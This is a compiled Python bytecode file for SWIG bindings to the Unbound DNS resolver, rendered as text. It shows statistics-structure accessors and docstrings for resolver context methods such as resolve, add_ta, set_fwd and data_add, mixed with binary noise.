zub_server_stats.__init__cCsdS)Nr)r'rrrrI¶sN)Êrr5r8r!r%r.r�r6r1rZub_server_stats_num_queries_setZub_server_stats_num_queries_getr#r‚rÔZ.ub_server_stats_num_queries_ip_ratelimited_setZ.ub_server_stats_num_queries_ip_ratelimited_getrÕZ,ub_server_stats_num_queries_missed_cache_setZ,ub_server_stats_num_queries_missed_cache_getrÖZ(ub_server_stats_num_queries_prefetch_setZ(ub_server_stats_num_queries_prefetch_getr×Z'ub_server_stats_sum_query_list_size_setZ'ub_server_stats_sum_query_list_size_getrØZ'ub_server_stats_max_query_list_size_setZ'ub_server_stats_max_query_list_size_getrÙZub_server_stats_extended_setZub_server_stats_extended_getrÚZub_server_stats_qtype_setZub_server_stats_qtype_getrlZub_server_stats_qtype_big_setZub_server_stats_qtype_big_getrÛZub_server_stats_qclass_setZub_server_stats_qclass_getrmZub_server_stats_qclass_big_setZub_server_stats_qclass_big_getrÜZub_server_stats_qopcode_setZub_server_stats_qopcode_getrÝZub_server_stats_qtcp_setZub_server_stats_qtcp_getrÞZ!ub_server_stats_qtcp_outgoing_setZ!ub_server_stats_qtcp_outgoing_getrßZ!ub_server_stats_qudp_outgoing_setZ!ub_server_stats_qudp_outgoing_getràZub_server_stats_qtls_setZub_server_stats_qtls_getráZub_server_stats_qhttps_setZub_server_stats_qhttps_getrâZub_server_stats_qipv6_setZub_server_stats_qipv6_getrãZub_server_stats_qbit_QR_setZub_server_stats_qbit_QR_geträZub_server_stats_qbit_AA_setZub_server_stats_qbit_AA_getråZub_server_stats_qbit_TC_setZub_server_stats_qbit_TC_getræZub_server_stats_qbit_RD_setZub_server_stats_qbit_RD_getrçZub_server_stats_qbit_RA_setZub_server_stats_qbit_RA_getrèZub_server_stats_qbit_Z_setZub_server_stats_qbit_Z_getréZub_server_stats_qbit_AD_setZub_server_stats_qbit_AD_getrêZub_server_stats_qbit_CD_setZub_server_stats_qbit_CD_getrëZub_server_stats_qEDNS_setZub_server_stats_qEDNS_getrìZub_server_stats_qEDNS_DO_setZub_server_stats_qEDNS_DO_getríZub_server_stats_ans_rcode_setZub_server_stats_ans_rcode_getrîZ$ub_server_stats_ans_rcode_nodata_setZ$ub_server_stats_ans_rcode_nodata_getrïZub_server_stats_ans_secure_setZub_server_stats_ans_secure_getrðZub_server_stats_ans_bogus_setZub_server_stats_ans_bogus_getrñZub_server_stats_rrset_bogus_setZub_server_stats_rrset_bogus_getròZ'ub_server_stats_queries_ratelimited_setZ'ub_server_stats_queries_ratelimited_getróZ$ub_server_stats_unwanted_replies_setZ$ub_server_stats_unwanted_replies_getrôZ$ub_server_stats_unwanted_queries_setZ$ub_server_stats_unwanted_queries_getrõZ$ub_server_stats_tcp_accept_usage_setZ$ub_server_stats_tcp_accept_usage_getröZub_server_stats_ans_expired_setZub_server_stats_ans_expired_getr÷Zub_server_stats_hist_setZub_server_stats_hist_getrøZ#ub_server_stats_msg_cache_count_setZ#ub_server_stats_msg_cache_count_getrùZ%ub_server_stats_rrset_cache_count_setZ%ub_server_stats_rrset_cache_count_getrúZ%ub_server_stats_infra_cache_count_setZ%ub_server_stats_infra_cache_count_getrûZ#ub_server_stats_key_cache_count_setZ#ub_server_stats_key_cache_count_getrüZ.ub_server_stats_num_query_dnscrypt_crypted_setZ.ub_server_stats_num_query_dnscrypt_crypted_getrýZ+ub_server_stats_num_query_dnscrypt_cert_setZ+ub_server_stats_num_query_dnscrypt_cert_getrþZ0ub_server_stats_num_query_dnscrypt_cleartext_setZ0ub_server_stats_num_query_dnscrypt_cleartext_getrÿZ8ub_server_stats_num_query_dnscrypt_crypted_malformed_setZ8ub_server_stats_num_query_dnscrypt_crypted_malformed_getrZ:ub_server_stats_num_query_dnscrypt_secret_missed_cache_setZ:ub_server_stats_num_query_dnscrypt_secret_missed_cache_getrZ-ub_server_stats_shared_secret_cache_count_setZ-ub_server_stats_shared_secret_cache_count_getrZ-ub_server_stats_num_query_dnscrypt_replay_setZ-ub_server_stats_num_query_dnscrypt_replay_getrZ%ub_server_stats_nonce_cache_count_setZ%ub_server_stats_nonce_cache_count_getrZ)ub_server_stats_num_query_authzone_up_setZ)ub_server_stats_num_query_authzone_up_getrZ+ub_server_stats_num_query_authzone_down_setZ+ub_server_stats_num_query_authzone_down_getrZ)ub_server_stats_num_neg_cache_noerror_setZ)ub_server_stats_num_neg_cache_noerror_getrZ*ub_server_stats_num_neg_cache_nxdomain_setZ*ub_server_stats_num_neg_cache_nxdomain_getrZ$ub_server_stats_num_query_subnet_setZ$ub_server_stats_num_query_subnet_getr Z*ub_server_stats_num_query_subnet_cache_setZ*ub_server_stats_num_query_subnet_cache_getr Z#ub_server_stats_mem_stream_wait_setZ#ub_server_stats_mem_stream_wait_getr Z*ub_server_stats_mem_http2_query_buffer_setZ*ub_server_stats_mem_http2_query_buffer_getr Z-ub_server_stats_mem_http2_response_buffer_setZ-ub_server_stats_mem_http2_response_buffer_getr Zub_server_stats_qtls_resume_setZub_server_stats_qtls_resume_getrZub_server_stats_rpz_action_setZub_server_stats_rpz_action_getrrEZdelete_ub_server_statsr„rÁrrrrrÓ°s                                                                                                                            rÓc@sœeZdZiZdd„ZiZdd„ZeZe j ed<e j ed<e rJe e j e j ƒZe jed<e jed<e rpe e je jƒZe jed<e jed<e r–e e je jƒZe jed<e jed<e r¼e e je jƒZe jed<e jed<e râe e je jƒZe jed <e jed <e �r e e je jƒZe jed <e jed <e �r2e e je jƒZ e j!ed <e j"ed <e �rZe e j"e j!ƒZ#e j$ed <e j%ed <e �r‚e e j%e j$ƒZ&d d„Z'e j(Z)dd„Z*dS)Ú ub_stats_infocCst|t||ƒS)N)r-r)r'r)r*rrrrI¼szub_stats_info.cCs t|t|ƒS)N)r/r)r'r)rrrrI¾sÚsvrÚmesh_num_statesÚmesh_num_reply_statesÚ mesh_jostledÚ mesh_droppedÚmesh_replies_sentÚmesh_replies_sum_wait_secÚmesh_replies_sum_wait_usecÚmesh_time_medianc Cs:tjƒ}y|jj|ƒWntjk r4||_YnXdS)N)rZnew_ub_stats_inforrQr2r3)r'rrrrrEås zub_stats_info.__init__cCsdS)Nr)r'rrrrIìsN)+rr5r8r!r%r.r�r6r1rZub_stats_info_svr_setZub_stats_info_svr_getr#r‚rZ!ub_stats_info_mesh_num_states_setZ!ub_stats_info_mesh_num_states_getrZ'ub_stats_info_mesh_num_reply_states_setZ'ub_stats_info_mesh_num_reply_states_getrZub_stats_info_mesh_jostled_setZub_stats_info_mesh_jostled_getrZub_stats_info_mesh_dropped_setZub_stats_info_mesh_dropped_getrZ#ub_stats_info_mesh_replies_sent_setZ#ub_stats_info_mesh_replies_sent_getrZ+ub_stats_info_mesh_replies_sum_wait_sec_setZ+ub_stats_info_mesh_replies_sum_wait_sec_getrZ,ub_stats_info_mesh_replies_sum_wait_usec_setZ,ub_stats_info_mesh_replies_sum_wait_usec_getrZ"ub_stats_info_mesh_time_median_setZ"ub_stats_info_mesh_time_median_getrrEZdelete_ub_stats_infor„rÁrrrrrºsX                  rc@seZdZdZiZdd„ZiZdd„Zdd„Ze Z dd„Ze j Z dd „Zd d „Zd d „Zdd„Zdd„Zd;dd„Zdd„Zd>> import unbound >>> ctx = unbound.ub_ctx() >>> ctx.resolvconf("/etc/resolv.conf") >>> status, result = ctx.resolve("www.google.com", unbound.RR_TYPE_A, unbound.RR_CLASS_IN) >>> if status==0 and result.havedata: >>> print "Result:",result.data.address_list Result: ['74.125.43.147', '74.125.43.99', '74.125.43.103', '74.125.43.104'] cCst|t||ƒS)N)r-r)r'r)r*rrrrIszub_ctx.cCs t|t|ƒS)N)r/r)r'r)rrrrIscOs tdƒ‚dS)NzNo constructor defined)r&)r'rirjrrrrEszub_ctx.__init__cCstjƒ|_|jstdƒ‚dS)z�Creates a resolving and validation context. An exception is invoked if the process of creation an ub_ctx instance fails. z2Fatal error: unbound context initialization failedN)rr�rr3)r'rrrrE s cCs tj||ƒS)aPAdd a trust anchor to the given context. The trust anchor is a string, on one line, that holds a valid DNSKEY or DS RR. :param ta: string, with zone-format RR on one line. [domainname] [TTL optional] [type] [class optional] [rdata contents] :returns: (int) 0 if OK, else error. )rrŸ)r'r rrrÚadd_tas z ub_ctx.add_tacCs tj||ƒS)aAdd trust anchors to the given context. Pass name of a file with DS and DNSKEY records (like from dig or drill). :param fname: filename of file with keyfile with trust anchors. :returns: (int) 0 if OK, else error. )rr¡)r'r˜rrrÚ add_ta_file%s zub_ctx.add_ta_filecCs tj||ƒS)a\setup configuration for the given context. :param fname: unbound config file (not all settings applicable). This is a power-users interface that lets you specify all sorts of options. For some specific options, such as adding trust anchors, special routines exist. :returns: (int) 0 if OK, else error. )rr—)r'r˜rrrÚconfig2sz ub_ctx.configcCs tj||ƒS)zçSet debug verbosity for the context Output is directed to stderr. :param d: debug level, 0 is off, 1 is very minimal, 2 is detailed, and 3 is lots. :returns: (int) 0 if OK, else error. )rr¤)r'r¥rrrÚ debuglevel=szub_ctx.debuglevelcCs tj||ƒS)aªSet debug output (and error output) to the specified stream. Pass None to disable. Default is stderr. :param out: File stream to log to. :returns: (int) 0 if OK, else error. **Usage:** In order to log into file, use :: ctx = unbound.ub_ctx() fw = fopen("debug.log") ctx.debuglevel(3) ctx.debugout(fw) Another option is to print the debug information to stderr output :: ctx = unbound.ub_ctx() ctx.debuglevel(10) ctx.debugout(sys.stderr) )rÚub_ctx_debugout)r'ÚoutrrrÚdebugoutHszub_ctx.debugoutú /etc/hostscCs tj||ƒS)a"Read list of hosts from the filename given. Usually "/etc/hosts". These addresses are not flagged as DNSSEC secure when queried for. :param fname: file name string. If None "/etc/hosts" is used. :returns: (int) 0 if OK, else error. )rrž)r'r˜rrrÚhostshs z ub_ctx.hostscCs tj|ƒS)z€Print the local zones and their content (RR data) to the debug output. :returns: (int) 0 if OK, else error. )rr¶)r'rrrÚprint_local_zonesuszub_ctx.print_local_zonesú/etc/resolv.confcCs tj||ƒS)aÏRead list of nameservers to use from the filename given. Usually "/etc/resolv.conf". Uses those nameservers as caching proxies. If they do not support DNSSEC, validation may fail. Only nameservers are picked up, the searchdomain, ndots and other settings from resolv.conf(5) are ignored. :param fname: file name string. If None "/etc/resolv.conf" is used. :returns: (int) 0 if OK, else error. )rr�)r'r˜rrrÚ resolvconf~s zub_ctx.resolvconfcCs tj||ƒS)aåSet a context behaviour for asynchronous action. :param dothread: if True, enables threading and a call to :meth:`resolve_async` creates a thread to handle work in the background. If False, a process is forked to handle work in the background. Changes to this setting after :meth:`async` calls have been made have no effect (delete and re-create the context to change). :returns: (int) 0 if OK, else error. )rr¦)r'r§rrrÚ set_async�s zub_ctx.set_asynccCs tj||ƒS)aoSet machine to forward DNS queries to, the caching resolver to use. IP4 or IP6 address. Forwards all DNS requests to that machine, which is expected to run a recursive resolver. If the is not DNSSEC-capable, validation may fail. Can be called several times, in that case the addresses are used as backup servers. To read the list of nameservers from /etc/resolv.conf (from DHCP or so), use the call :meth:`resolvconf`. :param addr: address, IP4 or IP6 in string format. If the addr is None, forwarding is disabled. :returns: (int) 0 if OK, else error. )rr™)r'ršrrrÚset_fwdšs zub_ctx.set_fwdcCstj|||ƒS)aÞSet an option for the context. Changes to the options after :meth:`resolve`, :meth:`resolve_async`, :meth:`zone_add`, :meth:`zone_remove`, :meth:`data_add` or :meth:`data_remove` have no effect (you have to delete and re-create the context). :param opt: option name from the unbound.conf config file format. (not all settings applicable). The name includes the trailing ':' for example set_option("logfile:", "mylog.txt"); This is a power-users interface that lets you specify all sorts of options. For some specific options, such as adding trust anchors, special routines exist. :param val: value of the option. :returns: (int) 0 if OK, else error. )rr“)r'r”r•rrrÚ set_option©s zub_ctx.set_optioncCs tj||ƒS)aAdd trust anchors to the given context. Pass the name of a bind-style config file with trusted-keys{}. :param fname: filename of file with bind-style config entries with trust anchors. :returns: (int) 0 if OK, else error. )rr£)r'r˜rrrÚ trustedkeys¸s zub_ctx.trustedkeyscCstj|ƒdS)z Print local zones using debugoutN)rr¶)r'rrrÚ zone_printÆszub_ctx.zone_printcCstj|||ƒS)zÆAdd new local zone :param zonename: zone domain name (e.g. myzone.) :param zonetype: type of the zone ("static",...) :returns: (int) 0 if OK, else error. )rr·)r'ÚzonenameZzonetyperrrÚzone_addÊszub_ctx.zone_addcCs tj||ƒS)zµRemove local zone If exists, removes local zone with all the RRs. :param zonename: zone domain name :returns: (int) 0 if OK, else error. )rr¹)r'r,rrrÚ zone_removeÕszub_ctx.zone_removecCs tj||ƒS)aÝAdd new local RR data :param rrdata: string, in zone-format on one line. [domainname] [TTL optional] [type] [class optional] [rdata contents] :returns: (int) 0 if OK, else error. **Usage** The local data ... :: >>> ctx = unbound.ub_ctx() >>> ctx.zone_add("mydomain.net.","static") 0 >>> status = ctx.data_add("test.mydomain.net. IN A 192.168.1.1") 0 >>> status, result = ctx.resolve("test.mydomain.net") >>> if status==0 and result.havedata: >>> print "Result:",result.data.address_list Result: ['192.168.1.1'] )rrº)r'ÚrrdatarrrÚdata_addászub_ctx.data_addcCs tj||ƒS)aRemove local RR data If exists, remove resource record from local zone :param rrdata: string, in zone-format on one line. [domainname] [TTL optional] [type] [class optional] [rdata contents] :returns: (int) 0 if OK, else error. )rr»)r'r/rrrÚ data_removeûszub_ctx.data_removecCs tj||ƒS)zËCancel an async query in progress. Its callback will not be called. :param async_id: which query to cancel. :returns: (int) 0 if OK, else error. )rr³)r'r²rrrÚcancels z ub_ctx.cancelcCs tj|ƒS)ajGet file descriptor. Wait for it to become readable, at this point answers are returned from the asynchronous validating resolver. Then call the ub_process to continue processing. This routine works immediately after context creation, the fd does not change. :returns: (int) -1 on error, or file descriptor to use select(2) with. )rrª)r'rrrÚget_fdsz ub_ctx.get_fdcCs tj|ƒS)a:Poll a context to see if it has any new results Do not poll in a loop, instead extract the fd below to poll for readiness, and then check, or wait using the wait routine. :returns: (int) 0 if nothing to read, or nonzero if a result is available. If nonzero, call ctx_process() to do callbacks. )rr¨)r'rrrÚpoll sz ub_ctx.pollcCs tj|ƒS)zÕCall this routine to continue processing results from the validating resolver (when the fd becomes readable). Will perform necessary callbacks. :returns: (int) 0 if OK, else error. )rr«)r'rrrÚprocess)szub_ctx.processcCs2t|tƒrtj||||ƒStj|t|ƒ||ƒSdS)aÐPerform resolution and validation of the target name. :param name: domain name in text format (a string or unicode string). IDN domain name have to be passed as a unicode string. :param rrtype: type of RR in host order (optional argument). Default value is RR_TYPE_A (A class). :param rrclass: class of RR in host order (optional argument). Default value is RR_CLASS_IN (for internet). :returns: * (int) 0 if OK, else error. * (:class:`ub_result`) the result data is returned in a newly allocated result structure. May be None on return, return value is set to an error in that case (out of memory). N)r:r9rr¬Ú idn2dname)r'r)r­r®rrrÚresolve4s zub_ctx.resolvecCs:t|tƒrtj||||||ƒStj|t|ƒ||||ƒSdS)aKPerform resolution and validation of the target name. Asynchronous, after a while, the callback will be called with your data and the result. If an error happens during processing, your callback will be called with error set to a nonzero value (and result==None). :param name: domain name in text format (a string or unicode string). IDN domain name have to be passed as a unicode string. :param mydata: this data is your own data (you can pass arbitrary python object or None) which are passed on to the callback function. :param callback: call-back function which is called on completion of the resolution. :param rrtype: type of RR in host order (optional argument). Default value is RR_TYPE_A (A class). :param rrclass: class of RR in host order (optional argument). Default value is RR_CLASS_IN (for internet). :returns: * (int) 0 if OK, else error. * (int) async_id, an identifier number is returned for the query as it is in progress. It can be used to cancel the query. **Call-back function:** The call-back function looks as the follows:: def call_back(mydata, status, result): pass **Parameters:** * `mydata` - mydata object * `status` - 0 when a result has been found * `result` - the result structure. The result may be None, in that case err is set. N)r:r9rÚ_ub_resolve_asyncr6)r'r)r°r±r­r®rrrÚ resolve_asyncGs zub_ctx.resolve_asynccCs tj|ƒS)zÓWait for a context to finish with results. Calls after the wait for you. After the wait, there are no more outstanding asynchronous queries. :returns: (int) 0 if OK, else error. )rr©)r'rrrÚwaitmsz ub_ctx.waitN)r")r%)(rr5r8rdr!r%r.r�rEr6r1rr‘r„rrrrr!r#r$r&r'r(r)r*r+r-r.r0r1r2r3r4r5Ú RR_TYPE_AÚ RR_CLASS_INr7r9r:rrrrrðsB               &rcGs tj|ŽS)N)rr)rirrrr~srcCstj||||||ƒS)N)rr8)r’r)r­r®r°Zpyfuncrrrr8‚sr8cCs$djdd„|jdƒDƒddd…ƒS)zbReverse domain name Usable for reverse lookups when the IP address should be reversed rcSsg|]}|‘qSrr)rKrLrrrrM�szreverse..Nréÿÿÿÿ)r Úsplit)ZdomainrrrÚreverseˆsr?cCsdjdd„|jdƒDƒƒS)z–Converts domain name in IDN format to canonic domain name :param idnname: (unicode string) IDN name :returns: (string) domain name rcSs g|]}|rtjj|ƒnd‘qS)r0)r]r^ZToASCII)rKrLrrrrM•szidn2dname..)r r>)Zidnnamerrrr6�sr6cCsdjdd„|jdƒDƒƒS)z›Converts canonic domain name in IDN format to unicode string :param name: (string) domain name :returns: (unicode string) domain name rcSsg|]}tjj|ƒ‘qSr)r]r^r_)rKrLrrrrM�szdname2idn..)r r>)r)rrrÚ dname2idn—sr@)rrr)rrr)r)´ÚsysrZ_swig_python_version_inforrrfr‚Ú NameErrorr<r2r r,r-r/r6r$r7r#r3Zencodings.idnar]ÚvarsrRr9r=r?r;Z RR_TYPE_NSZ RR_TYPE_MDZ RR_TYPE_MFZ RR_TYPE_CNAMEZ RR_TYPE_SOAZ RR_TYPE_MBZ RR_TYPE_MGZ RR_TYPE_MRZ RR_TYPE_NULLZ RR_TYPE_WKSZ RR_TYPE_PTRZ RR_TYPE_HINFOZ RR_TYPE_MINFOZ RR_TYPE_MXZ RR_TYPE_TXTZ RR_TYPE_RPZ RR_TYPE_AFSDBZ RR_TYPE_X25Z RR_TYPE_ISDNZ RR_TYPE_RTZ RR_TYPE_NSAPZRR_TYPE_NSAP_PTRZ RR_TYPE_SIGZ RR_TYPE_KEYZ RR_TYPE_PXZ RR_TYPE_GPOSZ RR_TYPE_AAAAZ RR_TYPE_LOCZ RR_TYPE_NXTZ RR_TYPE_EIDZRR_TYPE_NIMLOCZ RR_TYPE_SRVZ RR_TYPE_ATMAZ RR_TYPE_NAPTRZ RR_TYPE_KXZ RR_TYPE_CERTZ RR_TYPE_A6Z RR_TYPE_DNAMEZ RR_TYPE_SINKZ RR_TYPE_OPTZ RR_TYPE_APLZ RR_TYPE_DSZ RR_TYPE_SSHFPZRR_TYPE_IPSECKEYZ RR_TYPE_RRSIGZ RR_TYPE_NSECZRR_TYPE_DNSKEYZ RR_TYPE_DHCIDZ RR_TYPE_NSEC3ZRR_TYPE_NSEC3PARAMSZ RR_TYPE_UINFOZ RR_TYPE_UIDZ RR_TYPE_GIDZRR_TYPE_UNSPECZ RR_TYPE_TSIGZ RR_TYPE_IXFRZ RR_TYPE_AXFRZ RR_TYPE_MAILBZ RR_TYPE_MAILAZ RR_TYPE_ANYZ RR_TYPE_CAAZ RR_TYPE_DLVr<Z RR_CLASS_CHZ RR_CLASS_HSZ RR_CLASS_NONEZ RR_CLASS_ANYrAr…r†r‡rˆr‰rŠr‹rŒr�rŽr�rCZUNBOUND_VERSION_MAJORZUNBOUND_VERSION_MINORZUNBOUND_VERSION_MICROZUNBOUND_VERSION_MAJOR_REALZUNBOUND_VERSION_MINOR_REALZUNBOUND_VERSION_MICRO_REALrhZub_result_swigregisterZ UB_NOERRORZ UB_SOCKETZUB_NOMEMZ UB_SYNTAXZ UB_SERVFAILZ UB_FORKFAILZ UB_AFTERFINALZ UB_INITFAILZUB_PIPEZ UB_READFILEZUB_NOIDr�r‘r“r–r—r™r›rœr�ržrŸr¡r¢r£r¤r¦r¨r©rªr«r¬r¯r³rƒr´r¶r·r¹rºr»r¼r½Zub_shm_stat_info_swigregisterrÂZ!ub_shm_stat_info_mem_swigregisterrÌZ"ub_shm_stat_info_time_swigregisterZUB_STATS_QTYPE_NUMZUB_STATS_QCLASS_NUMZUB_STATS_RCODE_NUMZUB_STATS_OPCODE_NUMZUB_STATS_BUCKET_NUMZUB_STATS_RPZ_ACTION_NUMrÓZub_server_stats_swigregisterrZub_stats_info_swigregisterrZub_ctx_swigregisterrr8r?r6r@rrrrÚsÞ       Zv7' 3